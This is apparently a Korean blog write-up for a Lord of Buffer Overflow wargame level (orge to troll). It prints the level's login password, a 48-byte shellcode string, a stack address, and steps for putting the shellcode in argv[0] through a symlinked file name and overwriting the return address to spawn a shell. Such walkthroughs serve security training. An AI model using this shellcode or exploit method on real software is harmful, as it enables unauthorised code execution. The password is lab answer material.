id : orge
password : timewalker
로그인 후 troll.c의 코드를 보면 다음과 같다.
저번 문제에서 argv[1]을 이용해서 문제를 풀었었는데 이제는 그것도 못하게 되었다.
그래서 argv[0], 즉 파일 이름에 쉘코드를 넣어 실행시켜주면 될 것 같다.
bash2로 바꿔준 후 진행했다.
일단 파일 이름에 넣을 수 있는 쉘코드는
\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81
48byte 이다.
그래서 쉘코드 앞에 27byte, 뒤에 25byte로 NOP을 채워 총 100byte를 만들어 주었다.
이 길이와 맞는 파일 이름에 troll을 복사해서 gdb를 이용해 argv[0]의 주소를 알아내면 될 것 같다.
argv[0]의 주소는
0xbffffb7c
이다.
심볼릭 링크를 이용하여 쉘코드가 있는 총 100byte 길이의 파일 이름을 만들어 주었다.
확인해보니 다음과 같다.
아까 써준 파일 이름으로 실행시키고 argv[1]에 NOP으로 44byte 채우고 리턴 어드레스에 argv[0]의 주소를 넣어주었다.
쉘이 실행되면서 bash2가 떴다.
my-pass를 통해 비밀번호를 알아낼 수 있다.
'Wargame > Lord Of Buffer overflow' 카테고리의 다른 글
[LOB] 10번 vampire -> skeleton (0) | 2017.11.17 |
---|---|
[LOB] 9번 troll -> vampire (0) | 2017.11.16 |
[LOB] 7번 darkelf -> orge (0) | 2017.11.14 |
[LOB] 6번 wolfman -> darkelf (0) | 2017.11.07 |
[LOB] 5번 orc -> wolfman (0) | 2017.11.07 |